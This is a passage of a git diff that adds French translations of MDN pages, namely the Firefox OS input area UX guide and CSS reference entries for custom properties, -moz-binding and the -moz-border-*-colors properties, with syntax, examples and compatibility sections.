href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area/Coding"> <span class="hps">de codage</span></a> <span class="hps">pour les détails sur</span> <span class="hps">la mise en œuvre</span> <span class="hps">des zones</span> <span class="hps">de saisie.</span></span></p>
+<h2 id="Caractéristiques">Caractéristiques</h2>
+<p><strong>Détails à venir.</strong></p>
+<h2 id="Captures_d'écrans">Captures d'écrans</h2>
+<p><span id="result_box" lang="fr"><span class="hps">Ici vous pouvez voir</span> <span class="hps">une</span> <span class="hps">variété de</span> <span class="hps">zones de saisie</span><span>, qui suggère différentes utilisations possibles.</span></span></p>
+<h3 id="Entrées_génériques">Entrées génériques</h3>
+<p><span class="short_text" id="result_box" lang="fr"><span class="hps">Ce sont</span> <span class="hps">de simples boîtes</span> <span class="hps">de saisie de texte</span><span>.</span></span></p>
+<table class="fxosScreenGrid">
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h4 id="Entrée_générique_vide"><span class="short_text" id="result_box" lang="fr"><span class="hps">Entrée</span> <span class="hps">générique:</span> <span class="hps">vide</span></span></h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4879/input-generic-empty.png" style="width: 266px; height: 41px;"></p>
+    <p><span lang="fr"><span class="hps">Voici une</span> <span class="hps">boîte</span> <span class="hps">de saisie</span> <span class="hps">simple, sans</span> <span class="hps">texte saisi à l'intérieur</span><span>,</span> seulement du <span class="hps">texte générique pour</span><span class="hps"> l'espace réservé</span><span>.</span></span></p>
+   </td>
+   <td style="vertical-align: top;">
+    <h4 id="Entrée_générique_remplie"><span class="short_text" id="result_box" lang="fr"><span class="hps">Entrée</span> <span class="hps">générique:</span> <span class="hps">rempli</span></span>e</h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4881/input-generic-full.png" style="width: 266px; height: 41px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Ici,</span> <span class="hps">l'entrée</span> <span class="hps">générique</span> <span class="hps">est préremplie</span><span class="hps">.</span> <span class="hps">Notez la</span> <span class="hps">présence du bouton</span> <span class="hps">"effacer"</span> <span class="hps">à l'extrémité droite</span> <span class="hps">du</span> <span class="hps">champ de saisie.</span></span></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Entrées_dans_le_haut_de_la_vue"><span class="short_text" id="result_box" lang="fr"><span class="hps">Entrées</span> <span class="hps">dans le haut de</span> <span class="hps">la vue</span></span></h3>
+<p><span id="result_box" lang="fr"><span class="hps">Ces entrées</span> <span class="hps">sont situées</span> <span class="hps">dans la partie supérieure</span> <span class="hps atn">de la vue (</span><span>soit</span> <span class="hps">tout en haut</span> <span class="hps">de l'écran,</span> <span class="hps">ou</span> <span class="hps">immédiatement sous</span> <span class="hps">un en-tête</span><span>)</span><span>.</span></span></p>
+<table class="fxosScreenGrid">
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h4 id="Haut_vide">Haut : vide</h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4885/input-top-idle" style="width: 320px; height: 40px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Voici un</span> <span class="hps">champ de saisie de</span> <span class="hps">texte en haut</span> <span class="hps">d'une page</span><span>, qui devrait</span> <span class="hps">être utilisé sous</span> <span class="hps">un en-tête</span><span>.</span></span></p>
+   </td>
+   <td style="vertical-align: top;">
+    <h4 id="Haut_actif">Haut : actif</h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4883/input-top-active.png" style="width: 320px; height: 40px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Ce champ</span> <span class="hps">de saisie de texte</span> <span class="hps">du haut de</span> <span class="hps">vue</span> <span class="hps">est actif</span><span>, il</span> <span class="hps">dispose d'un bouton</span> <span class="hps">actif</span> <span class="hps">"Annuler"</span> <span class="hps">à côté de lui</span><span>,</span> <span class="hps">et le bouton</span> <span class="hps">"Effacer"</span> <span class="hps">dans le</span> <span class="hps">champ de saisie est</span> <span class="hps">visible.</span></span></p>
+    <p><span class="short_text" id="result_box" lang="fr"><span class="hps atn">Ce style d'</span><span>entrée doit être utilisée</span> <span class="hps">sans en-tête</span><span>.</span></span></p>
+    <div class="note">
+     <p><strong>Note:</strong> <span id="result_box" lang="fr"><span class="hps">Ceci nécessite</span> <span class="hps">plus d'explications</span><span>, de quelle façon</span> <span class="hps">est</span><span>-ce différent de</span> <span class="hps">la forme</span> <span class="hps">«vide»</span> <span class="hps">en termes d'utilisation</span> <span class="hps">d'en-tête</span><span> ?</span></span></p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Entrées_dans_le_bas_de_la_vue"><span class="short_text" id="result_box" lang="fr"><span class="hps">Entrées</span> <span class="hps">dans le bas de</span> <span class="hps">la vue</span></span></h3>
+<p>Ces entrées sont situées dans le bas de la vue.</p>
+<table class="fxosScreenGrid">
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h4 id="Boîte_de_saisie_de_texte_vide"><span class="short_text" id="result_box" lang="fr"><span class="hps">Boîte</span> <span class="hps">de saisie de texte</span> <span class="hps">vide</span></span></h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4865/input-bottom-send-disabled.png" style="width: 320px; height: 40px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Cette zone de</span> <span class="hps">saisie en bas</span> <span class="hps">de</span> <span class="hps">vue</span> <span class="hps">comporte un bouton</span> <span class="hps">"Envoyer"</span> <span class="hps">(qui vient</span><span class="hps"> d'une</span> <span class="hps">application</span> <span class="hps">SMS).</span> <span class="hps">Notez que le bouton</span> <span class="hps">"Envoyer"</span> <span class="hps">est désactivée</span> <span class="hps">car l'entrée</span> <span class="hps">est vide.</span></span></p>
+   </td>
+   <td style="vertical-align: top;">
+    <h4 id="Boîte_de_saisie_de_texte_pleine"><span class="short_text" id="result_box" lang="fr"><span class="hps">Boîte</span> <span class="hps">de saisie de texte</span> <span class="hps">pleine</span></span></h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4863/input-bottom-normal.png" style="width: 320px; height: 40px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Maintenant,</span> <span class="hps">la zone de saisie</span> <span class="hps">est remplie</span><span class="hps">,</span> <span class="hps">et</span> <span class="hps">le</span> <span class="hps">bouton "Envoyer"</span> <span class="hps">est activé.</span></span></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <h4 id="Boîte_de_saisie_de_texte_multi-lignes"><span class="short_text" id="result_box" lang="fr"><span class="hps">Boîte</span> <span class="hps">de saisie de texte</span> <span class="hps">multi-lignes</span></span></h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4861/input-bottom-max.png" style="width: 320px; height: 113px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Étant donné que la quantité de</span> <span class="hps">texte saisi</span> <span class="hps">par l'utilisateur</span> <span class="hps">augmente,</span> <span class="hps">la zone de saisie</span> <span class="hps">en bas de</span> <span class="hps">vue</span> <span class="hps">s'étend</span> <span class="hps">vers le haut pour</span> <span class="hps">faire de la place</span> à <span class="hps">plus de contenu,</span> <span class="hps">comme on le voit</span> <span class="hps">ici</span><span>.</span></span></p>
+   </td>
+   <td style="vertical-align: top;"> </td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Fieldsets_simples">Fieldsets simples</h3>
+<p><span id="result_box" lang="fr"><span class="hps">Ces</span> <span class="hps">fieldsets</span> <span class="hps">comprennent</span> une<span class="hps atn"> combinaison d'</span><span>un <a href="/fr/docs/">sélecteur de</a></span><a href="/fr/docs/"> </a><a href="/docs/Mozilla/Firefox_OS/UX/Building_blocks/Value_selector"><span class="hps">valeur</span></a> <span class="hps">et d'une</span> <span class="hps">zone de saisie</span><span>.</span> <span class="hps">Dans cet exemple,</span> <span class="hps">le bouton de sélection</span> <span class="hps">de</span> <span class="hps">valeur est utilisée</span> <span class="hps">pour ouvrir</span> <span class="hps">un sélecteur de</span> <span class="hps">choisir</span> <span class="hps">de type de contact</span> <span class="hps">dans l'application</span> <span class="hps">contacts</span> <span class="hps atn">(</span><span>travail, maison,</span> <span class="hps">etc</span><span>)</span><span>,</span> <span class="hps">et la zone</span> <span class="hps">de saisie </span><span class="hps">est utilisé</span> <span class="hps">pour entrer l'adresse</span> <span class="hps">e-mail</span> <span class="hps">correspondante</span><span>.</span></span></p>
+<table class="fxosScreenGrid">
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h4 id="Vide">Vide</h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4867/input-fieldset-empty.png" style="width: 265px; height: 41px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Ici,</span> <span class="hps">la zone de saisie</span> <span class="hps">de texte est vide</span><span>,</span> <span class="hps">ne montrant que</span> <span class="hps">le texte</span> <span class="hps">de l'espace réservé</span><span>.</span></span></p>
+   </td>
+   <td style="vertical-align: top;">
+    <h4 id="Avec_du_texte">Avec du texte</h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4875/input-fieldset-with-data.png" style="width: 295px; height: 42px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Ici,</span> <span class="hps">l'utilisateur a entré</span> <span class="hps">une adresse email. </span><span class="hps">Un</span> <span class="hps">bouton Supprimer</span> <span class="hps">se trouve à côté du champ</span><span>,</span><span> afin de permettre</span> <span class="hps">la suppression de</span> l'<span class="hps">adresse de courriel</span> <span class="hps">à partir de</span> <span class="hps">l'enregistrement de contact</span><span>.</span></span></p>
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <h4 id="Avec_le_bouton_de_sélection_de_valeurs_pressé">Avec le bouton de sélection de valeurs pressé</h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4873/input-fieldset-with-data-selector-pressed.png" style="width: 295px; height: 42px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Ici, l'utilisateur</span> <span class="hps">a appuyé sur le</span> <span class="hps">bouton de sélection</span> <span class="hps">de valeur</span><span>, quand il sera relâché</span><span class="hps">,</span> <span class="hps">le sélecteur de</span> <span class="hps">valeur</span> s'<span class="hps">ouvrira</span> pour<span class="hps"> laisser choisir</span> <span class="hps">le</span> <span class="hps">type de contact.</span></span></p>
+   </td>
+   <td style="vertical-align: top;">
+    <h4 id="Désactivé_avec_le_bouton_annuler">Désactivé, avec le bouton annuler</h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4869/input-fieldset-small-with-undo.png" style="width: 296px; height: 42px;"></p>
+    <p>Ici, l'entrée est désactivée, mais possède un bouton annuler.</p>
+    <div class="note">
+     <p><strong>Note:</strong> Besoin d'explication pour les cas d'utilisation de cet objet.</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Fieldsets_complexes">Fieldsets complexes</h3>
+<p>Les fieldsets plus complexes peuvent contenir</p>
+<table class="fxosScreenGrid">
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">
+    <h4 id="Avec_du_contenu_entré">Avec du contenu entré</h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4871/input-fieldset-with-button.png" style="width: 292px; height: 118px;"></p>
+    <p><span id="result_box" lang="fr"><span class="hps">Ici, nous</span> <span class="hps">avons une zone</span> <span class="hps">d'entrée pour laquelle</span> <span class="hps">plusieurs valeurs</span> <span class="hps">de saisie de texte</span> <span class="hps">sont associés à</span> <span class="hps">la catégorie</span> <span class="hps">"Maison"</span><span>:</span> <span class="hps">un numéro de téléphone</span> <span class="hps">et un nom</span><span>.</span> <span class="hps">Un bouton</span> <span class="hps">est inclus</span> <span class="hps">pour ajouter une adresse</span> à<span class="hps"> cette catégorie.</span></span></p>
+    <p> </p>
+   </td>
+   <td style="vertical-align: top;">
+    <h4 id="Désactivé_avec_un_bouton_annuler">Désactivé, avec un bouton annuler</h4>
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4877/input-fieldset-with-undo.png" style="width: 320px; height: 80px;"></p>
+    <p>Dans cet exemple, l'entrée est désactivée, avec un bouton annuler.</p>
+    <div class="note">
+     <p><strong>Note:</strong> Besoin d'explication pour les cas d'utilisation de cet objet.</p>
+    </div>
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Interaction">Interaction</h2>
+<p>Ci dessous vous pouvez voir une série d'interaction dans le but de créer une nouvelle entrée de calendrier.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4887/input-areas-interaction.png"></p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area/Coding">Input area coding guide</a></li>
+ <li><a href="/fr/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">expérience utilisateur Firefox OS</a></li>
+</ul>
diff --git a/files/fr/web/css/--_star_/index.html b/files/fr/web/css/--_star_/index.html
new file mode 100644
index 0000000000..9f1c30cbba
--- /dev/null
+++ b/files/fr/web/css/--_star_/index.html
@@ -0,0 +1,93 @@
+---
+title: Propriétés personnalisées (--*)
+slug: Web/CSS/--*
+tags:
+  - CSS
+  - Experimental
+  - Reference
+  - Variables
+  - Variables CSS
+translation_of: Web/CSS/--*
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Les noms des propriétés qui sont préfixés par deux tirets : <code>--</code> (par exemple : <code>--nom-exemple</code>) représentent des propriétés personnalisées (<em>custom properties</em>) qui peuvent contenir une valeur qui pourra être réutilisée dans le document grâce à la fonction {{cssxref("var")}}.</p>
+
+<p>La portée des propriétés personnalisées est celle des éléments sur lesquels elles sont déclarées. Ces personnalisées contribuent à la cascade : la valeur utilisée d'une propriété personnalisée sera déterminée par l'algorithme de la cascade.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">--unmotcle: left;
+--unecouleur: #0000ff;
+--unevaleurcomplexe: 3px 6px rgb(20, 32, 54);
+</pre>
+
+<dl>
+ <dt><code>&lt;declaration-value&gt;</code></dt>
+ <dd>Cette valeur correspond à une séquence de un ou plusieurs fragments tant que la séquence ne contient pas de fragments interdits. Elle représente l'intégralité de ce qu'une déclaration valide peut avoir comme valeur.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="premierParagraphe"&gt;Ce paragraphe devrait être sur fond bleu avec un texte jaune.&lt;/p&gt;
+&lt;p id="secondParagraphe"&gt;Ce paragraphe devrait être sur fond jaune avec un texte bleu.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[2,3]">:root {
+  --premiere-couleur: #488cff;
+  --seconde-couleur: #ffff8c;
+}
+
+#premierParagraphe {
+  background-color: var(--premiere-couleur);
+  color: var(--seconde-couleur);
+}
+
+#secondParagraphe {
+  background-color: var(--seconde-couleur);
+  color: var(--premiere-couleur);
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 500, 100)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Variables", "#defining-variables", "--*")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.custom-property")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Les_variables_CSS">Utiliser les variables CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/-moz-binding/index.html b/files/fr/web/css/-moz-binding/index.html
new file mode 100644
index 0000000000..509abfe15a
--- /dev/null
+++ b/files/fr/web/css/-moz-binding/index.html
@@ -0,0 +1,64 @@
+---
+title: '-moz-binding'
+slug: Web/CSS/-moz-binding
+tags:
+  - CSS
+  - Déprécié
+  - Non-standard
+  - Propriété
+  - Reference
+  - XBL
+translation_of: Archive/Web/CSS/-moz-binding
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-moz-binding</code></strong>, utilisée par les applications Mozilla, permet d'attacher une liaison (<em>binding</em>) <a href="/fr/docs/XBL">XBL</a> à un élément DOM.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeur de type &lt;url&gt; */
+-moz-binding: url(http://www.exemple.org/xbl/htmlBindings.xml#checkbox);
+
+/* Valeurs globales */
+-moz-binding: inherited;
+-moz-binding: initial;
+-moz-binding: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;url&gt;</code></dt>
+ <dd>L'URL (typ {{cssxref("&lt;url&gt;")}} depuis laquelle effectuer la liaison XBL (l'URL inclue le fragment d'identification)</dd>
+ <dt><code>none</code></dt>
+ <dd>Aucune liaison XBL n'est appliquée à l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">.exemple {
+  -moz-binding: url(http://www.exemple.org/xbl/htmlBindings.xml#radiobutton);
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-binding")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Mozilla/Tech/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment">La référence XBL : attacher et détacher des <em>bindings</em></a></li>
+ <li><a href="/fr/docs/Tutoriel_XUL/Introduction_à_XBL">Tutoriel XUL : Introduction à XBL</a></li>
+</ul>
diff --git a/files/fr/web/css/-moz-border-bottom-colors/index.html b/files/fr/web/css/-moz-border-bottom-colors/index.html
new file mode 100644
index 0000000000..7f13373584
--- /dev/null
+++ b/files/fr/web/css/-moz-border-bottom-colors/index.html
@@ -0,0 +1,96 @@
+---
+title: '-moz-border-bottom-colors'
+slug: Web/CSS/-moz-border-bottom-colors
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-moz-border-bottom-colors
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Pour les applications Mozilla, la propriété <code><strong>-moz-border-bottom-colors</strong></code> définit une liste de couleurs à utiliser pour mettre en forme la bordure du côté bas.</p>
+
+<pre class="brush:css no-line-numbers">/* Une couleur  */
+/* Type &lt;color&gt; */
+-moz-border-bottom-colors: #f0f0f0;
+
+/* Plusieurs valeurs &lt;color&gt; */
+-moz-border-bottom-colors: #f0f0f0 #a0a0a0 #505050 #000000;
+
+/* Valeurs globales */
+-moz-border-bottom-colors: inherit;
+-moz-border-bottom-colors: initial;
+-moz-border-bottom-colors: unset;
+</pre>
+
+<p>Lorsque la bordure d'un élément est plus épaisse qu'un pixel CSS, chaque ligne de pixels utilisera une des couleurs indiquées (en allant de l'extérieur vers l'intérieur). Cela permet d'éviter l'utilisation de boîtes imbriquées. Si la bordure est plus large que le nombre de couleurs indiquées, la partie restante de la bordure sera peinte avec la couleur utilisée le plus à intérieur.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Cette propriété n'est pas appliquée :</p>
+
+<ol>
+ <li>Si {{cssxref("border-style")}} vaut <code>dashed</code> ou <code>dotted</code>.</li>
+ <li>Aux tableaux pour lesquels <code>border-collapse: collapse</code>.</li>
+</ol>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Cette propriété permet d'utiliser une liste de couleurs séparées par des blancs.</p>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Définit la couleur à utiliser pour une ligne de pixels de la bordure basse. La valeur <code>transparent</code> est valide. Voir {{cssxref("&lt;color&gt;")}} pour les valeurs et unités possibles.</dd>
+ <dt><code>none</code></dt>
+ <dd>La valeur initiale de la propriété, aucune couleur n'est utilisée ou {{cssxref("border-color")}} est utilisée si elle est définie.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#exemple {
+  padding: 20px;
+  background-color: gray;
+  border: 10px solid black;
+  -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+  -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div id="exemple"&gt;Exemple&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 120, 90)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-border-bottom-colors")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("-moz-border-top-colors")}}</li>
+ <li>{{cssxref("-moz-border-right-colors")}}</li>
+ <li>{{cssxref("-moz-border-left-colors")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-border-left-colors/index.html b/files/fr/web/css/-moz-border-left-colors/index.html
new file mode 100644
index 0000000000..417c62f00a
--- /dev/null
+++ b/files/fr/web/css/-moz-border-left-colors/index.html
@@ -0,0 +1,95 @@
+---
+title: '-moz-border-left-colors'
+slug: Web/CSS/-moz-border-left-colors
+tags:
+  - CSS
+  - Non-standard
+  - Reference
+translation_of: Archive/Web/CSS/-moz-border-left-colors
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Pour les applications Mozilla, la propriété <code><strong>-moz-border-left-colors</strong></code> définit une liste de couleurs à utiliser pour mettre en forme la bordure du côté gauche.</p>
+
+<pre class="brush:css no-line-numbers">/* Une couleur  */
+/* Type &lt;color&gt; */
+-moz-border-left-colors: #f0f0f0;
+
+/* Plusieurs valeurs &lt;color&gt; */
+-moz-border-left-colors: #f0f0f0 #a0a0a0 #505050 #000000;
+
+/* Valeurs globales */
+-moz-border-left-colors: inherit;
+-moz-border-left-colors: initial;
+-moz-border-left-colors: unset;
+</pre>
+
+<p>Lorsque la bordure d'un élément est plus épaisse qu'un pixel CSS, chaque ligne de pixels utilisera une des couleurs indiquées (en allant de l'extérieur vers l'intérieur). Cela permet d'éviter l'utilisation de boîtes imbriquées. Si la bordure est plus large que le nombre de couleurs indiquées, la partie restante de la bordure sera peinte avec la couleur utilisée le plus à intérieur.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Cette propriété n'est pas appliquée :</p>
+
+<ol>
+ <li>Si {{cssxref("border-style")}} vaut <code>dashed</code> ou <code>dotted</code>.</li>
+ <li>Aux tableaux pour lesquels <code>border-collapse: collapse</code>.</li>
+</ol>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Cette propriété permet d'utiliser une liste de couleurs séparées par des blancs.</p>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Définit la couleur à utiliser pour une ligne de pixels de la bordure gauche. La valeur <code>transparent</code> est valide. Voir {{cssxref("&lt;color&gt;")}} pour les valeurs et unités possibles.</dd>
+ <dt><code>none</code></dt>
+ <dd>La valeur initiale de la propriété, aucune couleur n'est utilisée ou {{cssxref("border-color")}} est utilisée si elle est définie.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#exemple {
+  padding: 20px;
+  background-color: gray;
+  border: 10px solid black;
+  -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+  -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div id="exemple"&gt;Exemple&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 120, 90)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-border-left-colors")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("-moz-border-top-colors")}}</li>
+ <li>{{cssxref("-moz-border-bottom-colors")}}</li>
+ <li>{{cssxref("-moz-border-right-colors")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-border-right-colors/index.html b/files/fr/web/css/-moz-border-right-colors/index.html
new file mode 100644
index 0000000000..ee49e0effe
--- /dev/null
+++ b/files/fr/web/css/-moz-border-right-colors/index.html
@@ -0,0 +1,96 @@
+---
+title: '-moz-border-right-colors'
+slug: Web/CSS/-moz-border-right-colors
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-moz-border-right-colors
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Pour les applications Mozilla, la propriété <code><strong>-moz-border-right-colors</strong></code> définit une liste de couleurs à utiliser pour mettre en forme la bordure du côté droit.</p>
+
+<pre class="brush:css no-line-numbers">/* Une couleur  */
+/* Type &lt;color&gt; */
+-moz-border-right-colors: #f0f0f0;
+
+/* Plusieurs valeurs &lt;color&gt; */
+-moz-border-right-colors: #f0f0f0 #a0a0a0 #505050 #000000;
+
+/* Valeurs globales */
+-moz-border-right-colors: inherit;
+-moz-border-right-colors: initial;
+-moz-border-right-colors: unset;
+</pre>
+
+<p>Lorsque la bordure d'un élément est plus épaisse qu'un pixel CSS, chaque ligne de pixels utilisera une des couleurs indiquées (en allant de l'extérieur vers l'intérieur). Cela permet d'éviter l'utilisation de boîtes imbriquées. Si la bordure est plus large que le nombre de couleurs indiquées, la partie restante de la bordure sera peinte avec la couleur utilisée le plus à intérieur.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Cette propriété n'est pas appliquée :</p>
+
+<ol>
+ <li>Si {{cssxref("border-style")}} vaut <code>dashed</code> ou <code>dotted</code>.</li>
+ <li>Aux tableaux pour lesquels <code>border-collapse: collapse</code>.</li>
+</ol>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Cette propriété permet d'utiliser une liste de couleurs séparées par des blancs.</p>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Définit la couleur à utiliser pour une ligne de pixels de la bordure droite. La valeur <code>transparent</code> est valide. Voir {{cssxref("&lt;color&gt;")}} pour les valeurs et unités possibles.</dd>
